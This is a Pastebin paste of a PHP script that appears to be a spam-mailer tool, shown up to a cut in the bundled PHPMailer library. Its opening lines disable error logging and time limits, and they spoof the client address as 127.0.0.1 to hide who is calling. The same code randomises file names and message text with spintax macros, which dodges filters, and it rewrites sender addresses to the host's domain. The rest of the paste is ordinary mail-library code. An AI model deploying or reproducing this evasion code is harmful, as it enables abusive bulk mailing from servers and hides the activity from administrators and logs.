Guest User

Untitled

a guest
Jun 24th, 2016
68
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 106.69 KB | None | 0 0
  1. <?php
  2. @ini_set('error_log', NULL);
  3. @ini_set('log_errors', 0);
  4. @ini_set('max_execution_time', 0);
  5. @set_time_limit(0);
  6.  
  7. if (isset($_SERVER)) {
  8.     $_SERVER['PHP_SELF'] = "/";
  9.     $_SERVER['REMOTE_ADDR'] = "127.0.0.1";
  10.     if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
  11.         $_SERVER['HTTP_X_FORWARDED_FOR'] = "127.0.0.1";
  12.     }
  13. }
  14. if (isset($_FILES)) {
  15.     foreach ($_FILES as $key => $file) {
  16.         if (!strpos($file['name'], ".jpg")) {
  17.             $filename = alter_macros($file['name']);
  18.             $filename = num_macros($filename);
  19.             $filename = xnum_macros($filename);
  20.             $_FILES[$key]["name"] = $filename;
  21.         }
  22.     }
  23. }
  24.  
  25. function custom_strip_tags($text)
  26. {
  27.     $text = strip_tags($text, '<a>');
  28.     $text = str_replace("<a href=\"", "[ ", $text);
  29.     $text = str_replace("</a>", "", $text);
  30.     $text = str_replace("\">", " ] ", $text);
  31.     return $text;
  32. }
  33.  
  34. function is_ip($str)
  35. {
  36.     return preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/", $str);
  37. }
  38.  
  39. function from_host($content)
  40. {
  41.     $host = preg_replace('/^(www|ftp)\./i', '', @$_SERVER['HTTP_HOST']);
  42.     if (is_ip($host)) {
  43.         return $content;
  44.     }
  45.  
  46.     $tokens = explode("@", $content);
  47.     $content = $tokens[0] . "@" . $host . ">";
  48.     return $content;
  49. }
  50.  
  51. function alter_macros($content)
  52. {
  53.     preg_match_all('#{(.*)}#Ui', $content, $matches);
  54.     for ($i = 0; $i < count($matches[1]); $i++) {
  55.         $ns = explode("|", $matches[1][$i]);
  56.         $c2 = count($ns);
  57.         $rand = rand(0, ($c2 - 1));
  58.         $content = str_replace("{" . $matches[1][$i] . "}", $ns[$rand], $content);
  59.     }
  60.     return $content;
  61. }
  62.  
  63. function xnum_macros($content)
  64. {
  65.     preg_match_all('#\[NUM\-([[:digit:]]+)\]#', $content, $matches);
  66.     for ($i = 0; $i < count($matches[0]); $i++) {
  67.         $num = $matches[1][$i];
  68.         $min = pow(10, $num - 1);
  69.         $max = pow(10, $num) - 1;
  70.         $rand = rand($min, $max);
  71.         $content = str_replace($matches[0][$i], $rand, $content);
  72.     }
  73.     return $content;
  74. }
  75.  
  76. function num_macros($content)
  77. {
  78.     preg_match_all('#\[RAND\-([[:digit:]]+)\-([[:digit:]]+)\]#', $content, $matches);
  79.     for ($i = 0; $i < count($matches[0]); $i++) {
  80.         $min = $matches[1][$i];
  81.         $max = $matches[2][$i];
  82.         $rand = rand($min, $max);
  83.         $content = str_replace($matches[0][$i], $rand, $content);
  84.     }
  85.     return $content;
  86. }
  87.  
  88. function fteil_macros($content, $fteil)
  89. {
  90.     return str_replace("[FTEIL]", $fteil, $content);
  91. }
  92.  
  93. class SMTP
  94. {
  95.     const VERSION = '5.2.10';
  96.     const CRLF = "\r\n";
  97.     const DEFAULT_SMTP_PORT = 25;
  98.     const MAX_LINE_LENGTH = 998;
  99.     const DEBUG_OFF = 0;
  100.     const DEBUG_CLIENT = 1;
  101.     const DEBUG_SERVER = 2;
  102.     const DEBUG_CONNECTION = 3;
  103.     const DEBUG_LOWLEVEL = 4;
  104.     public $Version = '5.2.10';
  105.     public $SMTP_PORT = 25;
  106.     public $CRLF = "\r\n";
  107.     public $do_debug = self::DEBUG_OFF;
  108.     public $Debugoutput = 'echo';
  109.     public $do_verp = false;
  110.     public $Timeout = 300;
  111.     public $Timelimit = 300;
  112.     protected $smtp_conn;
  113.     protected $error = array(
  114.         'error' => '',
  115.         'detail' => '',
  116.         'smtp_code' => '',
  117.         'smtp_code_ex' => ''
  118.     );
  119.     protected $helo_rply = null;
  120.     protected $server_caps = null;
  121.     protected $last_reply = '';
  122.  
  123.     protected function edebug($str, $level = 0)
  124.     {
  125.         if ($level > $this->do_debug) {
  126.             return;
  127.         }
  128.         if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
  129.             call_user_func($this->Debugoutput, $str, $this->do_debug);
  130.             return;
  131.         }
  132.         switch ($this->Debugoutput) {
  133.             case 'error_log':
  134.                 error_log($str);
  135.                 break;
  136.             case 'html':
  137.                 echo htmlentities(
  138.                         preg_replace('/[\r\n]+/', '', $str),
  139.                         ENT_QUOTES,
  140.                         'UTF-8'
  141.                     )
  142.                     . "<br>\n";
  143.                 break;
  144.             case 'echo':
  145.             default:
  146.                 $str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str);
  147.                 echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
  148.                         "\n",
  149.                         "\n                   \t                  ",
  150.                         trim($str)
  151.                     ) . "\n";
  152.         }
  153.     }
  154.  
  155.     public function connect($host, $port = null, $timeout = 30, $options = array())
  156.     {
  157.         static $streamok;
  158.         if (is_null($streamok)) {
  159.             $streamok = function_exists('stream_socket_client');
  160.         }
  161.         $this->setError('');
  162.         if ($this->connected()) {
  163.             $this->setError('Already connected to a server');
  164.             return false;
  165.         }
  166.         if (empty($port)) {
  167.             $port = self::DEFAULT_SMTP_PORT;
  168.         }
  169.         $this->edebug(
  170.             "Connection: opening to $host:$port, timeout=$timeout, options=" . var_export($options, true),
  171.             self::DEBUG_CONNECTION
  172.         );
  173.         $errno = 0;
  174.         $errstr = '';
  175.         if ($streamok) {
  176.             $socket_context = stream_context_create($options);
  177.             $this->smtp_conn = @stream_socket_client(
  178.                 $host . ":" . $port,
  179.                 $errno,
  180.                 $errstr,
  181.                 $timeout,
  182.                 STREAM_CLIENT_CONNECT,
  183.                 $socket_context
  184.             );
  185.         } else {
  186.             $this->edebug(
  187.                 "Connection: stream_socket_client not available, falling back to fsockopen",
  188.                 self::DEBUG_CONNECTION
  189.             );
  190.             $this->smtp_conn = fsockopen(
  191.                 $host,
  192.                 $port,
  193.                 $errno,
  194.                 $errstr,
  195.                 $timeout
  196.             );
  197.         }
  198.         if (!is_resource($this->smtp_conn)) {
  199.             $this->setError(
  200.                 'Failed to connect to server',
  201.                 $errno,
  202.                 $errstr
  203.             );
  204.             $this->edebug(
  205.                 'SMTP ERROR: ' . $this->error['error']
  206.                 . ": $errstr ($errno)",
  207.                 self::DEBUG_CLIENT
  208.             );
  209.             return false;
  210.         }
  211.         $this->edebug('Connection: opened', self::DEBUG_CONNECTION);
  212.         if (substr(PHP_OS, 0, 3) != 'WIN') {
  213.             $max = ini_get('max_execution_time');
  214.             if ($max != 0 && $timeout > $max) {
  215.                 @set_time_limit($timeout);
  216.             }
  217.             stream_set_timeout($this->smtp_conn, $timeout, 0);
  218.         }
  219.         $announce = $this->get_lines();
  220.         $this->edebug('SERVER -> CLIENT: ' . $announce, self::DEBUG_SERVER);
  221.         return true;
  222.     }
  223.  
  224.     public function startTLS()
  225.     {
  226.         if (!$this->sendCommand('STARTTLS', 'STARTTLS', 220)) {
  227.             return false;
  228.         }
  229.         if (!stream_socket_enable_crypto(
  230.             $this->smtp_conn,
  231.             true,
  232.             STREAM_CRYPTO_METHOD_TLS_CLIENT
  233.         )
  234.         ) {
  235.             return false;
  236.         }
  237.         return true;
  238.     }
  239.  
  240.     public function authenticate(
  241.         $username,
  242.         $password,
  243.         $authtype = null,
  244.         $realm = '',
  245.         $workstation = ''
  246.     )
  247.     {
  248.         if (!$this->server_caps) {
  249.             $this->setError('Authentication is not allowed before HELO/EHLO');
  250.             return false;
  251.         }
  252.         if (array_key_exists('EHLO', $this->server_caps)) {
  253.             if (!array_key_exists('AUTH', $this->server_caps)) {
  254.                 $this->setError('Authentication is not allowed at this stage');
  255.                 return false;
  256.             }
  257.             self::edebug('Auth method requested: ' . ($authtype ? $authtype : 'UNKNOWN'), self::DEBUG_LOWLEVEL);
  258.             self::edebug(
  259.                 'Auth methods available on the server: ' . implode(',', $this->server_caps['AUTH']),
  260.                 self::DEBUG_LOWLEVEL
  261.             );
  262.             if (empty($authtype)) {
  263.                 foreach (array('LOGIN', 'CRAM-MD5', 'NTLM', 'PLAIN') as $method) {
  264.                     if (in_array($method, $this->server_caps['AUTH'])) {
  265.                         $authtype = $method;
  266.                         break;
  267.                     }
  268.                 }
  269.                 if (empty($authtype)) {
  270.                     $this->setError('No supported authentication methods found');
  271.                     return false;
  272.                 }
  273.                 self::edebug('Auth method selected: ' . $authtype, self::DEBUG_LOWLEVEL);
  274.             }
  275.             if (!in_array($authtype, $this->server_caps['AUTH'])) {
  276.                 $this->setError("The requested authentication method \"$authtype\" is not supported by the server");
  277.                 return false;
  278.             }
  279.         } elseif (empty($authtype)) {
  280.             $authtype = 'LOGIN';
  281.         }
  282.         switch ($authtype) {
  283.             case 'PLAIN':
  284.                 if (!$this->sendCommand('AUTH', 'AUTH PLAIN', 334)) {
  285.                     return false;
  286.                 }
  287.                 if (!$this->sendCommand(
  288.                     'User & Password',
  289.                     base64_encode("\0" . $username . "\0" . $password),
  290.                     235
  291.                 )
  292.                 ) {
  293.                     return false;
  294.                 }
  295.                 break;
  296.             case 'LOGIN':
  297.                 if (!$this->sendCommand('AUTH', 'AUTH LOGIN', 334)) {
  298.                     return false;
  299.                 }
  300.                 if (!$this->sendCommand("Username", base64_encode($username), 334)) {
  301.                     return false;
  302.                 }
  303.                 if (!$this->sendCommand("Password", base64_encode($password), 235)) {
  304.                     return false;
  305.                 }
  306.                 break;
  307.             case 'NTLM':
  308.                 require_once 'extras/ntlm_sasl_client.php';
  309.                 $temp = new stdClass;
  310.                 $ntlm_client = new ntlm_sasl_client_class;
  311.                 if (!$ntlm_client->Initialize($temp)) {
  312.                     $this->setError($temp->error);
  313.                     $this->edebug(
  314.                         'You need to enable some modules in your php.ini file: '
  315.                         . $this->error['error'],
  316.                         self::DEBUG_CLIENT
  317.                     );
  318.                     return false;
  319.                 }
  320.                 $msg1 = $ntlm_client->TypeMsg1($realm, $workstation); //msg1
  321.                 if (!$this->sendCommand(
  322.                     'AUTH NTLM',
  323.                     'AUTH NTLM ' . base64_encode($msg1),
  324.                     334
  325.                 )
  326.                 ) {
  327.                     return false;
  328.                 }
  329.                 $challenge = substr($this->last_reply, 3);
  330.                 $challenge = b64d($challenge);
  331.                 $ntlm_res = $ntlm_client->NTLMResponse(
  332.                     substr($challenge, 24, 8),
  333.                     $password
  334.                 );
  335.                 $msg3 = $ntlm_client->TypeMsg3(
  336.                     $ntlm_res,
  337.                     $username,
  338.                     $realm,
  339.                     $workstation
  340.                 );
  341.                 return $this->sendCommand('Username', base64_encode($msg3), 235);
  342.             case 'CRAM-MD5':
  343.                 if (!$this->sendCommand('AUTH CRAM-MD5', 'AUTH CRAM-MD5', 334)) {
  344.                     return false;
  345.                 }
  346.                 $challenge = b64d(substr($this->last_reply, 4));
  347.                 $response = $username . ' ' . $this->hmac($challenge, $password);
  348.                 return $this->sendCommand('Username', base64_encode($response), 235);
  349.             default:
  350.                 $this->setError("Authentication method \"$authtype\" is not supported");
  351.                 return false;
  352.         }
  353.         return true;
  354.     }
  355.  
  356.     protected function hmac($data, $key)
  357.     {
  358.         if (function_exists('hash_hmac')) {
  359.             return hash_hmac('md5', $data, $key);
  360.         }
  361.         $bytelen = 64; // byte length for md5
  362.         if (strlen($key) > $bytelen) {
  363.             $key = pack('H*', md5($key));
  364.         }
  365.         $key = str_pad($key, $bytelen, chr(0x00));
  366.         $ipad = str_pad('', $bytelen, chr(0x36));
  367.         $opad = str_pad('', $bytelen, chr(0x5c));
  368.         $k_ipad = $key ^ $ipad;
  369.         $k_opad = $key ^ $opad;
  370.         return md5($k_opad . pack('H*', md5($k_ipad . $data)));
  371.     }
  372.  
  373.     public function connected()
  374.     {
  375.         if (is_resource($this->smtp_conn)) {
  376.             $sock_status = stream_get_meta_data($this->smtp_conn);
  377.             if ($sock_status['eof']) {
  378.                 $this->edebug(
  379.                     'SMTP NOTICE: EOF caught while checking if connected',
  380.                     self::DEBUG_CLIENT
  381.                 );
  382.                 $this->close();
  383.                 return false;
  384.             }
  385.             return true; // everything looks good
  386.         }
  387.         return false;
  388.     }
  389.  
  390.     public function close()
  391.     {
  392.         $this->setError('');
  393.         $this->server_caps = null;
  394.         $this->helo_rply = null;
  395.         if (is_resource($this->smtp_conn)) {
  396.             fclose($this->smtp_conn);
  397.             $this->smtp_conn = null; //Makes for cleaner serialization
  398.             $this->edebug('Connection: closed', self::DEBUG_CONNECTION);
  399.         }
  400.     }
  401.  
  402.     public function data($msg_data)
  403.     {
  404.         if (!$this->sendCommand('DATA', 'DATA', 354)) {
  405.             return false;
  406.         }
  407.         $lines = explode("\n", str_replace(array("\r\n", "\r"), "\n", $msg_data));
  408.         $field = substr($lines[0], 0, strpos($lines[0], ':'));
  409.         $in_headers = false;
  410.         if (!empty($field) && strpos($field, ' ') === false) {
  411.             $in_headers = true;
  412.         }
  413.         foreach ($lines as $line) {
  414.             $lines_out = array();
  415.             if ($in_headers and $line == '') {
  416.                 $in_headers = false;
  417.             }
  418.             while (isset($line[self::MAX_LINE_LENGTH])) {
  419.                 $pos = strrpos(substr($line, 0, self::MAX_LINE_LENGTH), ' ');
  420.                 if (!$pos) {
  421.                     $pos = self::MAX_LINE_LENGTH - 1;
  422.                     $lines_out[] = substr($line, 0, $pos);
  423.                     $line = substr($line, $pos);
  424.                 } else {
  425.                     $lines_out[] = substr($line, 0, $pos);
  426.                     $line = substr($line, $pos + 1);
  427.                 }
  428.                 if ($in_headers) {
  429.                     $line = "\t" . $line;
  430.                 }
  431.             }
  432.             $lines_out[] = $line;
  433.             foreach ($lines_out as $line_out) {
  434.                 if (!empty($line_out) and $line_out[0] == '.') {
  435.                     $line_out = '.' . $line_out;
  436.                 }
  437.                 $this->client_send($line_out . self::CRLF);
  438.             }
  439.         }
  440.         $savetimelimit = $this->Timelimit;
  441.         $this->Timelimit = $this->Timelimit * 2;
  442.         $result = $this->sendCommand('DATA END', '.', 250);
  443.         $this->Timelimit = $savetimelimit;
  444.         return $result;
  445.     }
  446.  
  447.     public function hello($host = '')
  448.     {
  449.         return (boolean)($this->sendHello('EHLO', $host) or $this->sendHello('HELO', $host));
  450.     }
  451.  
  452.     protected function sendHello($hello, $host)
  453.     {
  454.         $noerror = $this->sendCommand($hello, $hello . ' ' . $host, 250);
  455.         $this->helo_rply = $this->last_reply;
  456.         if ($noerror) {
  457.             $this->parseHelloFields($hello);
  458.         } else {
  459.             $this->server_caps = null;
  460.         }
  461.         return $noerror;
  462.     }
  463.  
  464.     protected function parseHelloFields($type)
  465.     {
  466.         $this->server_caps = array();
  467.         $lines = explode("\n", $this->last_reply);
  468.         foreach ($lines as $n => $s) {
  469.             $s = trim(substr($s, 4));
  470.             if (!$s) {
  471.                 continue;
  472.             }
  473.             $fields = explode(' ', $s);
  474.             if (!empty($fields)) {
  475.                 if (!$n) {
  476.                     $name = $type;
  477.                     $fields = $fields[0];
  478.                 } else {
  479.                     $name = array_shift($fields);
  480.                     if ($name == 'SIZE') {
  481.                         $fields = ($fields) ? $fields[0] : 0;
  482.                     }
  483.                 }
  484.                 $this->server_caps[$name] = ($fields ? $fields : true);
  485.             }
  486.         }
  487.     }
  488.  
  489.     public function mail($from)
  490.     {
  491.         $useVerp = ($this->do_verp ? ' XVERP' : '');
  492.         return $this->sendCommand(
  493.             'MAIL FROM',
  494.             'MAIL FROM:<' . $from . '>' . $useVerp,
  495.             250
  496.         );
  497.     }
  498.  
  499.     public function quit($close_on_error = true)
  500.     {
  501.         $noerror = $this->sendCommand('QUIT', 'QUIT', 221);
  502.         $err = $this->error; //Save any error
  503.         if ($noerror or $close_on_error) {
  504.             $this->close();
  505.             $this->error = $err; //Restore any error from the quit command
  506.         }
  507.         return $noerror;
  508.     }
  509.  
  510.     public function recipient($toaddr)
  511.     {
  512.         return $this->sendCommand(
  513.             'RCPT TO',
  514.             'RCPT TO:<' . $toaddr . '>',
  515.             array(250, 251)
  516.         );
  517.     }
  518.  
  519.     public function reset()
  520.     {
  521.         return $this->sendCommand('RSET', 'RSET', 250);
  522.     }
  523.  
  524.     protected function sendCommand($command, $commandstring, $expect)
  525.     {
  526.         if (!$this->connected()) {
  527.             $this->setError("Called $command without being connected");
  528.             return false;
  529.         }
  530.         $this->client_send($commandstring . self::CRLF);
  531.         $this->last_reply = $this->get_lines();
  532.         $matches = array();
  533.         if (preg_match("/^([0-9]{3})[ -](?:([0-9]\\.[0-9]\\.[0-9]) )?/", $this->last_reply, $matches)) {
  534.             $code = $matches[1];
  535.             $code_ex = (count($matches) > 2 ? $matches[2] : null);
  536.             $detail = preg_replace(
  537.                 "/{$code}[ -]" . ($code_ex ? str_replace('.', '\\.', $code_ex) . ' ' : '') . "/m",
  538.                 '',
  539.                 $this->last_reply
  540.             );
  541.         } else {
  542.             $code = substr($this->last_reply, 0, 3);
  543.             $code_ex = null;
  544.             $detail = substr($this->last_reply, 4);
  545.         }
  546.         $this->edebug('SERVER -> CLIENT: ' . $this->last_reply, self::DEBUG_SERVER);
  547.         if (!in_array($code, (array)$expect)) {
  548.             $this->setError(
  549.                 "$command command failed",
  550.                 $detail,
  551.                 $code,
  552.                 $code_ex
  553.             );
  554.             $this->edebug(
  555.                 'SMTP ERROR: ' . $this->error['error'] . ': ' . $this->last_reply,
  556.                 self::DEBUG_CLIENT
  557.             );
  558.             return false;
  559.         }
  560.         $this->setError('');
  561.         return true;
  562.     }
  563.  
  564.     public function sendAndMail($from)
  565.     {
  566.         return $this->sendCommand('SAML', "SAML FROM:$from", 250);
  567.     }
  568.  
  569.     public function verify($name)
  570.     {
  571.         return $this->sendCommand('VRFY', "VRFY $name", array(250, 251));
  572.     }
  573.  
  574.     public function noop()
  575.     {
  576.         return $this->sendCommand('NOOP', 'NOOP', 250);
  577.     }
  578.  
  579.     public function turn()
  580.     {
  581.         $this->setError('The SMTP TURN command is not implemented');
  582.         $this->edebug('SMTP NOTICE: ' . $this->error['error'], self::DEBUG_CLIENT);
  583.         return false;
  584.     }
  585.  
  586.     public function client_send($data)
  587.     {
  588.         $this->edebug("CLIENT -> SERVER: $data", self::DEBUG_CLIENT);
  589.         return fwrite($this->smtp_conn, $data);
  590.     }
  591.  
  592.     public function getError()
  593.     {
  594.         return $this->error;
  595.     }
  596.  
  597.     public function getServerExtList()
  598.     {
  599.         return $this->server_caps;
  600.     }
  601.  
  602.     public function getServerExt($name)
  603.     {
  604.         if (!$this->server_caps) {
  605.             $this->setError('No HELO/EHLO was sent');
  606.             return null;
  607.         }
  608. // the tight logic knot ;)
  609.         if (!array_key_exists($name, $this->server_caps)) {
  610.             if ($name == 'HELO') {
  611.                 return $this->server_caps['EHLO'];
  612.             }
  613.             if ($name == 'EHLO' || array_key_exists('EHLO', $this->server_caps)) {
  614.                 return false;
  615.             }
  616.             $this->setError('HELO handshake was used. Client knows nothing about server extensions');
  617.             return null;
  618.         }
  619.         return $this->server_caps[$name];
  620.     }
  621.  
  622.     public function getLastReply()
  623.     {
  624.         return $this->last_reply;
  625.     }
  626.  
  627.     protected function get_lines()
  628.     {
  629.         if (!is_resource($this->smtp_conn)) {
  630.             return '';
  631.         }
  632.         $data = '';
  633.         $endtime = 0;
  634.         stream_set_timeout($this->smtp_conn, $this->Timeout);
  635.         if ($this->Timelimit > 0) {
  636.             $endtime = time() + $this->Timelimit;
  637.         }
  638.         while (is_resource($this->smtp_conn) && !feof($this->smtp_conn)) {
  639.             $str = @fgets($this->smtp_conn, 515);
  640.             $this->edebug("SMTP -> get_lines(): \$data was \"$data\"", self::DEBUG_LOWLEVEL);
  641.             $this->edebug("SMTP -> get_lines(): \$str is \"$str\"", self::DEBUG_LOWLEVEL);
  642.             $data .= $str;
  643.             $this->edebug("SMTP -> get_lines(): \$data is \"$data\"", self::DEBUG_LOWLEVEL);
  644.             if ((isset($str[3]) and $str[3] == ' ')) {
  645.                 break;
  646.             }
  647.             $info = stream_get_meta_data($this->smtp_conn);
  648.             if ($info['timed_out']) {
  649.                 $this->edebug(
  650.                     'SMTP -> get_lines(): timed-out (' . $this->Timeout . ' sec)',
  651.                     self::DEBUG_LOWLEVEL
  652.                 );
  653.                 break;
  654.             }
  655.             if ($endtime and time() > $endtime) {
  656.                 $this->edebug(
  657.                     'SMTP -> get_lines(): timelimit reached (' .
  658.                     $this->Timelimit . ' sec)',
  659.                     self::DEBUG_LOWLEVEL
  660.                 );
  661.                 break;
  662.             }
  663.         }
  664.         return $data;
  665.     }
  666.  
  667.     public function setVerp($enabled = false)
  668.     {
  669.         $this->do_verp = $enabled;
  670.     }
  671.  
  672.     public function getVerp()
  673.     {
  674.         return $this->do_verp;
  675.     }
  676.  
  677.     protected function setError($message, $detail = '', $smtp_code = '', $smtp_code_ex = '')
  678.     {
  679.         $this->error = array(
  680.             'error' => $message,
  681.             'detail' => $detail,
  682.             'smtp_code' => $smtp_code,
  683.             'smtp_code_ex' => $smtp_code_ex
  684.         );
  685.     }
  686.  
  687.     public function setDebugOutput($method = 'echo')
  688.     {
  689.         $this->Debugoutput = $method;
  690.     }
  691.  
  692.     public function getDebugOutput()
  693.     {
  694.         return $this->Debugoutput;
  695.     }
  696.  
  697.     public function setDebugLevel($level = 0)
  698.     {
  699.         $this->do_debug = $level;
  700.     }
  701.  
  702.     public function getDebugLevel()
  703.     {
  704.         return $this->do_debug;
  705.     }
  706.  
  707.     public function setTimeout($timeout = 0)
  708.     {
  709.         $this->Timeout = $timeout;
  710.     }
  711.  
  712.     public function getTimeout()
  713.     {
  714.         return $this->Timeout;
  715.     }
  716. }
  717.  
  718. class PHPMailer
  719. {
  720.     public $Version = '5.2.9';
  721.     public $Priority = 3;
  722.     public $CharSet = 'iso-8859-1';
  723.     public $ContentType = 'text/plain';
  724.     public $Encoding = '8bit';
  725.     public $ErrorInfo = '';
  726.     public $From = 'root@localhost';
  727.     public $FromName = 'Root User';
  728.     public $Sender = '';
  729.     public $ReturnPath = '';
  730.     public $Subject = '';
  731.     public $Body = '';
  732.     public $AltBody = '';
  733.     public $Ical = '';
  734.     protected $MIMEBody = '';
  735.     protected $MIMEHeader = '';
  736.     protected $mailHeader = '';
  737.     public $WordWrap = 0;
  738.     public $Mailer = 'mail';
  739.     public $Sendmail = '/usr/sbin/sendmail';
  740.     public $UseSendmailOptions = true;
  741.     public $PluginDir = '';
  742.     public $ConfirmReadingTo = '';
  743.     public $Hostname = '';
  744.     public $MessageID = '';
  745.     public $MessageDate = '';
  746.     public $Host = 'localhost';
  747.     public $Port = 25;
  748.     public $Helo = '';
  749.     public $SMTPSecure = '';
  750.     public $SMTPAuth = false;
  751.     public $Username = '';
  752.     public $Password = '';
  753.     public $AuthType = '';
  754.     public $Realm = '';
  755.     public $Workstation = '';
  756.     public $Timeout = 300;
  757.     public $SMTPDebug = 0;
  758.     public $Debugoutput = 'echo';
  759.     public $SMTPKeepAlive = false;
  760.     public $SingleTo = false;
  761.     public $SingleToArray = array();
  762.     public $do_verp = false;
  763.     public $AllowEmpty = false;
  764.     public $LE = "\n";
  765.     public $DKIM_selector = '';
  766.     public $DKIM_identity = '';
  767.     public $DKIM_passphrase = '';
  768.     public $DKIM_domain = '';
  769.     public $DKIM_private = '';
  770.     public $action_function = '';
  771.     public $XMailer = '';
  772.     protected $smtp = null;
  773.     protected $to = array();
  774.     protected $cc = array();
  775.     protected $bcc = array();
  776.     protected $ReplyTo = array();
  777.     protected $all_recipients = array();
  778.     protected $attachment = array();
  779.     protected $CustomHeader = array();
  780.     protected $lastMessageID = '';
  781.     protected $message_type = '';
  782.     protected $boundary = array();
  783.     protected $language = array();
  784.     protected $error_count = 0;
  785.     protected $sign_cert_file = '';
  786.     protected $sign_key_file = '';
  787.     protected $sign_key_pass = '';
  788.     protected $exceptions = false;
  789.     const STOP_MESSAGE = 0;
  790.     const STOP_CONTINUE = 1;
  791.     const STOP_CRITICAL = 2;
  792.     const CRLF = "\r\n";
  793.  
  794.     public function __construct($exceptions = false)
  795.     {
  796.         $this->exceptions = (boolean)$exceptions;
  797.     }
  798.  
  799.     public function __destruct()
  800.     {
  801.     }
  802.  
  803.     private function mailPassthru($to, $subject, $body, $header, $params)
  804.     {
  805. //Check overloading of mail function to avoid double-encoding
  806.         if (ini_get('mbstring.func_overload') & 1) {
  807.             $subject = $this->secureHeader($subject);
  808.         } else {
  809.             $subject = $this->encodeHeader($this->secureHeader($subject));
  810.         }
  811.         if (ini_get('safe_mode') || !($this->UseSendmailOptions)) {
  812.             $result = @mail($to, $subject, $body, $header);
  813.         } else {
  814.             $result = @mail($to, $subject, $body, $header, $params);
  815.         }
  816.         return $result;
  817.     }
  818.  
  819.     protected function edebug($str)
  820.     {
  821.         if ($this->SMTPDebug <= 0) {
  822.             return;
  823.         }
  824. //Avoid clash with built-in function names
  825.         if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
  826.             call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
  827.             return;
  828.         }
  829.         switch ($this->Debugoutput) {
  830.             case 'error_log':
  831. //Don't output, just log
  832.                 error_log($str);
  833.                 break;
  834.             case 'html':
  835. //Cleans up output a bit for a better looking, HTML-safe output
  836.                 echo htmlentities(
  837.                         preg_replace('/[\r\n]+/', '', $str),
  838.                         ENT_QUOTES,
  839.                         'UTF-8'
  840.                     )
  841.                     . "<br>\n";
  842.                 break;
  843.             case 'echo':
  844.             default:
  845. //Normalize line breaks
  846.                 $str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str);
  847.                 echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
  848.                         "\n",
  849.                         "\n                   \t                  ",
  850.                         trim($str)
  851.                     ) . "\n";
  852.         }
  853.     }
  854.  
  855.     public function isHTML($isHtml = true)
  856.     {
  857.         if ($isHtml) {
  858.             $this->ContentType = 'text/html';
  859.         } else {
  860.             $this->ContentType = 'text/plain';
  861.         }
  862.     }
  863.  
  864.     public function isSMTP()
  865.     {
  866.         $this->Mailer = 'smtp';
  867.     }
  868.  
  869.     public function isMail()
  870.     {
  871.         $this->Mailer = 'mail';
  872.     }
  873.  
  874.     public function isSendmail()
  875.     {
  876.         $ini_sendmail_path = ini_get('sendmail_path');
  877.         if (!stristr($ini_sendmail_path, 'sendmail')) {
  878.             $this->Sendmail = '/usr/sbin/sendmail';
  879.         } else {
  880.             $this->Sendmail = $ini_sendmail_path;
  881.         }
  882.         $this->Mailer = 'sendmail';
  883.     }
  884.  
  885.     public function isQmail()
  886.     {
  887.         $ini_sendmail_path = ini_get('sendmail_path');
  888.         if (!stristr($ini_sendmail_path, 'qmail')) {
  889.             $this->Sendmail = '/var/qmail/bin/qmail-inject';
  890.         } else {
  891.             $this->Sendmail = $ini_sendmail_path;
  892.         }
  893.         $this->Mailer = 'qmail';
  894.     }
  895.  
  896.     public function addAddress($address, $name = '')
  897.     {
  898.         return $this->addAnAddress('to', $address, $name);
  899.     }
  900.  
  901.     public function addCC($address, $name = '')
  902.     {
  903.         return $this->addAnAddress('cc', $address, $name);
  904.     }
  905.  
  906.     public function addBCC($address, $name = '')
  907.     {
  908.         return $this->addAnAddress('bcc', $address, $name);
  909.     }
  910.  
  911.     public function addReplyTo($address, $name = '')
  912.     {
  913.         return $this->addAnAddress('Reply-To', $address, $name);
  914.     }
  915.  
  916.     protected function addAnAddress($kind, $address, $name = '')
  917.     {
  918.         if (!preg_match('/^(to|cc|bcc|Reply-To)$/', $kind)) {
  919.             $this->setError($this->lang('Invalid recipient array') . ': ' . $kind);
  920.             $this->edebug($this->lang('Invalid recipient array') . ': ' . $kind);
  921.             if ($this->exceptions) {
  922.                 throw new phpmailerException('Invalid recipient array: ' . $kind);
  923.             }
  924.             return false;
  925.         }
  926.         $address = trim($address);
  927.         $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
  928.         if (!$this->validateAddress($address)) {
  929.             $this->setError($this->lang('invalid_address') . ': ' . $address);
  930.             $this->edebug($this->lang('invalid_address') . ': ' . $address);
  931.             if ($this->exceptions) {
  932.                 throw new phpmailerException($this->lang('invalid_address') . ': ' . $address);
  933.             }
  934.             return false;
  935.         }
  936.         if ($kind != 'Reply-To') {
  937.             if (!isset($this->all_recipients[strtolower($address)])) {
  938.                 array_push($this->$kind, array($address, $name));
  939.                 $this->all_recipients[strtolower($address)] = true;
  940.                 return true;
  941.             }
  942.         } else {
  943.             if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
  944.                 $this->ReplyTo[strtolower($address)] = array($address, $name);
  945.                 return true;
  946.             }
  947.         }
  948.         return false;
  949.     }
  950.  
  951.     public function setFrom($address, $name = '', $auto = true)
  952.     {
  953.         $address = trim($address);
  954.         $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
  955.         if (!$this->validateAddress($address)) {
  956.             $this->setError($this->lang('invalid_address') . ': ' . $address);
  957.             $this->edebug($this->lang('invalid_address') . ': ' . $address);
  958.             if ($this->exceptions) {
  959.                 throw new phpmailerException($this->lang('invalid_address') . ': ' . $address);
  960.             }
  961.             return false;
  962.         }
  963.         $this->From = $address;
  964.         $this->FromName = $name;
  965.         if ($auto) {
  966.             if (empty($this->Sender)) {
  967.                 $this->Sender = $address;
  968.             }
  969.         }
  970.         return true;
  971.     }
  972.  
  973.     public function getLastMessageID()
  974.     {
  975.         return $this->lastMessageID;
  976.     }
  977.  
  978.     public static function validateAddress($address, $patternselect = 'auto')
  979.     {
  980.         if (!$patternselect or $patternselect == 'auto') {
